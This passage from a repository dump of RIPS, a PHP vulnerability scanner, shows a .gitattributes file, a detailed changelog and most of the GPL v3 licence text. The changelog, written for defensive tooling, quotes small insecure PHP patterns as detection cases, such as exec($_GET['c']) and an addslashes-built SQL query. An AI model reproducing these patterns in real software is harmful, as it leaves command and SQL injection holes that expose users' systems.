[
  {
    "path": ".gitattributes",
    "content": "# Set the default behavior, in case people don't have core.autocrlf set.\n* text=auto\n\n*.css text eol=lf\n*.js text eol=lf\n*.php text eol=lf\n*.py text eol=lf\n\n# Denote all files that are truly binary and should not be modified.\n*.gif binary\n*.jpg binary\n*.png binary\n"
  },
  {
    "path": "CHANGELOG",
    "content": "RIPS CHANGELOG\n===============\n\nRIPS 0.55\n----------\n\t- updated configuration (sources, sinks, sanitization)\n\t- added session fixation detection\n\t- seperated reflection injection from code injection\n\t- changed defaults (subdirs, vuln type)\n\t- referenced user survey\n\nRIPS 0.54\n----------\n\t- fixed Javascript errors\n\t- fixed bug with false negatives in non-OOP code after OOP code (thanks to Gareth Heyes)\n\t- improved handling of parse_str() function\n\t- added new taintable $_SERVER parameters to sources (thanks to Mike Brooks)\n\t- added new sinks\n\nRIPS 0.53\n----------\n\t- fixed bug with includes (thanks to Ryan Dewhurst)\n\nRIPS 0.52\n----------\n\tCode analysis:\n\t- fixed bug where RIPS hangs on includes building a loop 1->2->3->1->2->3->1... (thanks to Michael Hoffmann)\n\t- fixed bug where RIPS string analyzer hangs on certain array keys coming from foreach statements (thanks to Ricky-Lee Birtles)\n\t- fixed bug where RIPS hangs on certain switch statements (thanks to Jay Bonci)\n\t- fixed bug with wrong brace wrapping for \"case x;\" instead of \"case x:\" statements\n\t- fixed bug with wrong brace wrapping when if-clause contains only 1 token or in a try/catch block\n\t- fixed bug with parameter count in interprocedural analysis\n\t- fixed bug with register_globals implementation and constants\n\t- fixed bug with tokenizing a do-while in a do-while\n\t- fixed bug with wrong boundary detection when a function is declared in another function\n\t- fixed bug with wrong file pointer of included files, improved include rate\n\t- added auto_prepend/append_file support, improved include_path support (thanks to Jay Bonci)\n\t- added support for func_get_args() and func_get_arg()\n\t- added support for alternative syntax for control structures (while(): ... endwhile;)\n\t- added new sensitive sinks\n\t- added experimental option SCAN_REGISTER_GLOBALS (/config/general.php)\n\t- added parsing errors to verbosity level = debug, improved code stability\n\n\tInterface:\n\t- added stylesheet \"print\" (thanks to Kurt Payne)\n\t- added scrollbars to function code on mouseover\n\t- disabled graphs for large projects (>50 files) due to performance\n\t- improved output when a vulnerability is found multiple times (e.g. by multiple inclusion of a vulnerable file)\n\t- fixed bug with style of multiline comments in code viewer\n\t- optimized code viewer with file preview window\n\nRIPS 0.51\n----------\n\t- fixed bug with apache_setenv() for non-Apache webservers\n\t- fixed bug in leakscan preloader\n\nRIPS 0.50\n----------\n\tCode analysis:\n\t- added about 30 new sensitive sinks and some new userinput functions\n\t- RIPS now traces codeblocks, not lines anymore\n\t\t-> code in one line without whitespaces (\"obfuscated\") is now possible to analyse\n\t\t-> this also fixes several known bugs\n\t- RIPS now handles arrays and its keys a lot more accurate\n\t\t-> arrays are handled as variables with saved keys\n\t\t-> dynamic key values are resolved\n\t\t-> this also fixes several known bugs\n\t- RIPS is now recoded object oriented\n\t\t-> structure is better\n\t\t-> code easier to understand\n\t- fixes bug when an old define is overwritten by a new one\n\t- ignores \"@\" for correct detection of connected tokens\n\t- added leakscan: trace if return value of tainted sensitive sink is echo'd (non-blind/blind exploitation)\n\t- fixed lots of securing detection bugs\n\t- automatically scans for register_globals implementation (extract, parse_str, $$key = $value, import_request_variables, etc.)\n\t- lots of new testcases added and fixed\n\t- improved reconstruction of file names to be included\n\t- set_time_limit is set to 0 now\n\n\tInterface:\n\t- included SaveGraph patch\n\t- added preloader information about current scanning status (thanks for the input, Michael Hoffmann)\n\t- added links to the stats window to other windows\n\t- fixed bug with color highlighting in regex search results\n\t- improved jumping between functions in scan result\n\t- moved http response splitting to clientside vulnerability list\n\nRIPS 0.40 SaveGraph Patch:\n----------\n\t- added option to save HTML5 canvas graph as image (feature request by ksaok)\n\nRIPS 0.40:\n----------\n\tCode analysis:\n\t- fixed bug with vartrace and different dependencies (if(condition) $var=1; else $var=2;)\n\t- fixed bug with string reconstruction of included files (include(\"/foo/$var/bar\");)\n\t- improved file inclusion rate (name reconstruction, consider include_path, try to guess file)\n\t- fixed bug with usage of defined CONSTANTs (thanks to Dawid)\n\t- fixed bug with successful inclusion and FI vulnerability within one inclusion\n\t- fixed bug with FI vulnerability and function call (require urldecode($_GET['a']))\n\t- fixed bug with overwritten parameter vars in user-defined function\n\t- fixed bug with two sensitive sinks in one userdefined functions affected by different parameters\n\t- improved ternary operator handling\n\t- added quote analysis for more precise securing detection (mysql_query(\"SELECT \".addslashes($id)); =vuln)\n\t\t(still some bugs with quote analysis, TBD)\n\t- added vulnerability type 'Unserialize' to scan for POP gadgets\n\n\tInterface:\n\t- fixed bug with exploit creator and error_reporting=on (thanks Gregory and others)\n\t- moved info gathering to seperate verbosity level, removed info about program exits\n\t- added maximize button to code viewer\n\t- added graph for file inclusion visualization\n\t- added graph for function call and vulnerability flow visualization\n\t- added pie chart for result\n\t- grouped vulnerable lines for each vulnerability\n\t- added new color schema 'ayti' and improved other color schemas\n\t- fixed bug with vulnerable functions in the result that have not been called with userinput\n\t- fixed bug with multiline comments in the code viewer\n\t- added link to stats to show only vulns of specific type (click on vulnerability type)\n\t- added color highlighting for regex search results\n\t- changed stylesheet is now tracked permanently by cookie\n\nRIPS 0.35:\n----------\n\t- added ini_set(\"auto_detect_line_endings\", true) to support MAC OSX newlines\n\t- added preg_match(_all) support with $matches array\n\t- prevented getmultiline() funtion to recursively loop for more than 10 rows (tracker ID: 3075359, thanks to lexak)\n\t- added vulnerability type 'LDAP Injection'\n\t- fixed bug with wrong detection of user defined securing functions using for-loops\n\t- fixed critical bug with wrong detection of securing during inter-procedual analysis\n\t- fixed bug with not detected function calls in included files and case-sensitive function names\n\t- fixed bug with userinput returned by user-defined functions\n\nRIPS 0.34:\n----------\n\t- fixed false positive when userinput is overwritten: $_GET['c']=1; exec($_GET['c']);\n\t- fixed critical bug with missing scan results\n\t- added more database securing and tainting functions (thanks to Yasuo Ohgaki)\n\nRIPS 0.33:\n----------\n\tCode analysis:\n\t- added vulnerability type 'XPath Injection'\n\t- implemented $F_INSECURING_STRING (list of functions like urldecode() that can re-taint already sanitized data)\n\t- fixed bug with $GLOBALS[] (ignore previous local vars, accept only global vars)\n\t- improved tainted $_SESSION (=global var) handling\n\t- fixed bug with tainting functions not displayed in the result tree\n\t- fixed bug with differently used quotes in array['\"parameter'\"] during traceback\n\t- added compact() support\n\t- ignore upper/lowercase in function names because PHP does not (sYsTem())\n\t- scan for dynamic function calls $variable() (possible code exec)\n\n\tInterface:\n\t- added missing taint-highlighting in the first line of PVF tree\n\t- added file list: listing all scanned files and includes\n\t- added list of function calls to each list item of user-defined functions\n\t- added help button for simple visualization, description, example, PoC, patch and securing function list in a new window\n\t- RIPS warns you when scan may last very long (counts files to scan)\n\t- added AJAX interface with scan animation\n\t- added scan result statistics and graphs\n\t- highlight variables onMouseOver in code viewer and scan result. persistent highlight onClick.\n\t- code viewer now supports active jumping between function calls and declarations\n\t\t(click on function call to jump to declaration, click \"return\" to jump back to the call)\n\t- added regex search function\n\t- windows are now resizeable\n\t- added curl headers for all tainting $_SERVER parameters in the exploit creator\n\nRIPS 0.32:\n----------\n\tCode analysis:\n\t- rebuild PVF config (FILE, CODE and SYSTEM PVF into FILE_READ, FILE_AFFECT, FILE_INCLUDE and EXEC PVF)\n\t- added $_SERVER parameters that are tainting to the config (example: $_SERVER['PHP_SELF'];)\n\t- fixed bug with securing detection of global string securing functions (example: md5($a.$b);)\n\t- fixed bug where the first token of an included file was ignored\n\n\tInterface:\n\t- added a little howto to the welcome page\n\t- added more detailed vulnerability types to scan for\n\t- added vulnerability name to each find (name still present during minimization of output block)\n\t- added .phps-tainted-var for highlighting tainting vars in the trace output\n\t- added explaination to inter-procedual analysis results\n\t- added RIPS logo (created by Gareth Heyes, thank you)\n\t- added a option to change the output tree from bottom-up to top-down (requested by Joel, thank you)\n\t- fixed bug with missing link by inter-procedual analysis when function name appeared in the \"requires\" list\n\nRIPS 0.31:\n----------\n\tCode analysis:\n\t- improved RIPS code + performance\n\t\t(http://code.google.com/speed/articles/optimizing-php.html)\n\t\t(http://www.wmtips.com/php/tips-optimizing-php-code.htm)\n\t- improved securing detection by detecting automatic type casts\n\t- added connection poisoning PVFs\n\t- added support for $arrays{'a'} with curly braces\n\t- added missing support for tainted OO function with XSS\n\t- added a missing class-to-variable association when using a constructor call instead the keyword 'new'\n\t- fixed bug where successful file inclusions were scanned again for a file inclusion vulnerability\n\t- fixed bugs with detecting commands written over several code lines (reported by Stefan Esser & Pragmatk)\n\t\t(patch does not solve all multi-line bugs)\n\t- corrected analysis of variables marked as 'global'\n\n\tInterface:\n\t- better arranged user input list\n\t- added option to highlight variables in the CodeViewer by click\n\t- added vulnerability type \"All\" to scan client- and server-side vulns simultaneously\n\t- added missing exploit button for direct-tainted XSS vulnerabilities\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR 